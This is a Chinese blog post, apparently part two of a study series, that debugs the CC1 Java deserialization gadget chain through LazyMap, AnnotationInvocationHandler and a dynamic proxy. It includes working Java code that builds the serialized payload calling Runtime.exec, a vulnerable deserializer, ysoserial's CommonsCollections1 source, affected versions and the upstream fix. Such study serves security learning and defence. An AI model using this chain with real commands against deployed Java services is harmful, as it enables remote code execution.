Java反序列化链调试—初探(URLDNS、CC):二
前景提要 https://lrui1.top/posts/7929b704/
CC1
上文调试了CC1关于TransformedMap.checkSetValue()触发ChainedTransformer.transform()的攻击链,但是之前对Transformer.transform()Find Usage时,还有两个Map:DefaultedMap、LazyMap

其中LazyMap就是CC1的另外一种形式,接下来我们分析下LazyMap
攻击链构造
ChainedTransformer
参考直接的构造 https://lrui1.top/posts/7929b704/#ChainedTransformer-1
测试代码如下
@Test
public void testTransform() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
chainedTransformer.transform("随便输入");
}
LazyMap
LazyMap.get代码如下
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
当map里不存在该元素时,会调用transform
该方法覆写了父类的get,作为其Map接口的实现方法,参考其构造函数
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
不能直接访问,但是有一个静态方法,可创建LazyMap
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
测试代码如下
@Test
public void testLazyMap() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
decorate.get("map不存在");
}
目前调用链
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget
还需要继续往上找链——要找不是实现Map接口的其他类,调用这个Map.get()方法的类
使用Find Usage,查出来6580个results,找到猴年马月hh

站在前人的肩膀上,我们发现之前构造链中,AnnotationInvocationHandler.invoke方法存在调用Map.get行为

Holishift,分析一波
AnnotationInvocationHandler.invoke()
代码如下,memberValues.get()触发了Map.get()的调用
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
简单分析其逻辑:获取方法名,赋值给member,判断是否为equals、toString、hashCode、annotationType,都不是的话,调用memberValues.get(member),触发前面构造的攻击链
那么,什么情况下会触发这个invoke呢?根据描述,AnnotationInvocationHandler是用于实现注解(Annotation)动态代理的调用处理程序
动态代理是什么?——可参考 https://blog.csdn.net/qq_59219765/article/details/156390944
这边摘录一个比较重要的总结:
4.1 JDK 动态代理的核心原理
核心依赖:JDK 动态代理的核心是两个类,都在java.lang.reflect包下,无需额外引入依赖:
InvocationHandler:调用处理器,定义增强逻辑的核心接口,所有的前置 / 后置增强都写在这个接口的实现类中。Proxy:代理类的生成器,通过Proxy.newProxyInstance()方法,在运行时动态生成代理对象。
实现要求:目标类必须实现一个或多个接口,JDK 动态代理只能代理「实现了接口的类」。
底层逻辑:JVM 通过反射,读取目标类实现的接口信息,在运行时动态生成一个代理类的字节码,这个代理类会实现和目标类相同的接口,内部持有InvocationHandler的引用,调用代理方法时,最终会转发到InvocationHandler的invoke方法中执行增强 + 目标方法。
AnnotationInvocationHandler.invoke() 触发流程如下:(来源于Gemini3 pro)
-
创建 Handler: 实例化
AnnotationInvocationHandler,传入一个注解类型(如Override.class)和一个 Map(通常是存放注解属性值的 Map)。 -
创建 Proxy: 使用
Proxy.newProxyInstance创建一个动态代理对象。这个代理对象“假装”实现了某个接口(比如Map接口或者某个注解接口),并将上面的 Handler 绑定给它。 -
调用方法: 只要调用这个代理对象的任意方法(例如
proxy.size()或proxy.value()),JVM 就会自动跳转到 Handler 的invoke方法。-
此时,
method.getName()就是你调用的方法名(例如 "size")。 -
代码会执行
memberValues.get("size")。
-
总结一句话:被动态代理的对象(使用A类代理对象B),B调用任何方法,都会调用A.invoke方法
测试代码如下
@Test
public void testLazyMapAnno() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
// 反射构造AnnotationInvocationHandler
Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);
// 动态代理Map接口
Map map = (Map)Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invoha
);
map.isEmpty(); // 保证调用的该方法名,不在前面put的里面,即不是test
}
目前调用链如下
(Map)Proxy4.isEmpty()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget
能弹计算器

AnnotationInvocationHandler.readObject()
我们之前也分析过它的readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
可以看到,readObject中存在memberValue调用方法,如果我们可以让AnnotationInvocationHandler代理memberValue,那么就可以进入到AnnotationInvocationHandler.invoke()方法,触发方法中Map.get的调用。
暂定利用条件如下
- AnnotationInvocationHandler属性值type,随便一个值
- AnnotationInvocationHandler属性值memberValues是AnnotationInvocationHandler代理LazyMap的对象
此时我们不需要关心for循环里的逻辑,在循环条件:memberValues.entrySet(),已经产生了代理调用,可以触发AnnotationInvocationHandler.invoke()方法了
测试代码如下
@Test
public void testLazyMapCC1() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
// 反射构造AnnotationInvocationHandler
Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);
// 动态代理Map接口
Map map = (Map)Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invoha
);
Object payload = constructor.newInstance(Override.class, map);
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC1.bin"));
ous.writeObject(payload);
System.out.println("ser successfully!");
}
public static void main(String[] args) throws Exception {
Scanner sc = new Scanner(System.in);
String s = sc.nextLine();
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));
Object o = ois.readObject();
ois.close();
System.out.println("unser successfully");
User user = (User) o;
System.out.println(user);
sc.close();
}
成功弹出计算器

至此,还有一个问题:动态代理创建的实例,为什么可以强制转换为Map?
Gemini:因为你调用 Proxy.newProxyInstance 时,第二个参数明确指定了该代理类必须实现 Map 接口。
Map map = (Map)Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invoha
);
当你运行这段代码时,JVM 在底层(内存中)做了以下几件事:
-
动态生成类字节码:JVM 动态生成了一个新的类(通常命名为
$Proxy0,$Proxy1等)。 -
强制实现接口:根据你传入的第二个参数
new Class[]{Map.class},JVM 让这个新生成的类声明实现Map接口。 -
继承 Proxy:这个新类默认继承自
java.lang.reflect.Proxy。
如果把 JVM 生成的这个 $Proxy0 类的源码“反编译”出来,它大概长这样(伪代码):
// JVM 动态生成的类
public final class $Proxy0 extends java.lang.reflect.Proxy implements java.util.Map {
// 构造函数,传入 handler
public $Proxy0(InvocationHandler handler) {
super(handler);
}
// 实现 Map 接口的所有方法
@Override
public int size() {
// 将调用转发给 handler.invoke
return (Integer) super.h.invoke(this, m3, null);
}
@Override
public Object get(Object key) {
// 将调用转发给 handler.invoke
return super.h.invoke(this, m4, new Object[] { key });
}
// ... 其他 Map 方法 ...
}
所有的Map接口的逻辑都会交给handle中的invoke处理
总结
调用链如下
AnnotationInvocationHandler.readObject() // kick-off gadget
(Map)Proxy4.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform() // chain gadget
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget
程序调用堆栈如下
org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)
影响版本:
commons-collections : 3.1-3.2.1
jdk < 8u71
ysoserial的实现思路
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
主要是在getObject方法上,其主要思路就是利用LazyMap+AnnotationInvocationHandler结合动态代理,跟前文的调试思路是一样的。
修复措施
通过重写InvokerTransformer的readObject方法来禁用其反序列化功能
默认情况下,“InvokerTransformer”的反序列化功能被禁用,因为该漏洞可被利用进行远程代码执行攻击。重新启用该功能,系统属性“org.apache.commons.collections.invokertransformer.enableSerialization”需要设置为“true”。
/** System property key to enable de-serialization */
public final static String DESERIALIZE
= "org.apache.commons.collections.invokertransformer.enableDeserialization";
/**
* Overrides the default readObject implementation to prevent
* de-serialization (see COLLECTIONS-580).
*/
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
String deserializeProperty;
try {
deserializeProperty =
(String) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty(DESERIALIZE);
}
});
} catch (SecurityException ex) {
deserializeProperty = null;
}
if (deserializeProperty == null || !deserializeProperty.equalsIgnoreCase("true")) {
throw new UnsupportedOperationException("Deserialization of InvokerTransformer is disabled, ");
}
is.defaultReadObject();
}
写在最后
关于已存在的反序列化链CC1总算是调试完了,也学习到了一些对反序列化链的挖掘,利用的思路,可能目前还做不到挖掘一条链,不过我觉得现在可以做到分析别人挖掘出的链就已经很好了
接下来继续调试CC系列反序列化链,坚持年前调完

浙公网安备 33010602011771号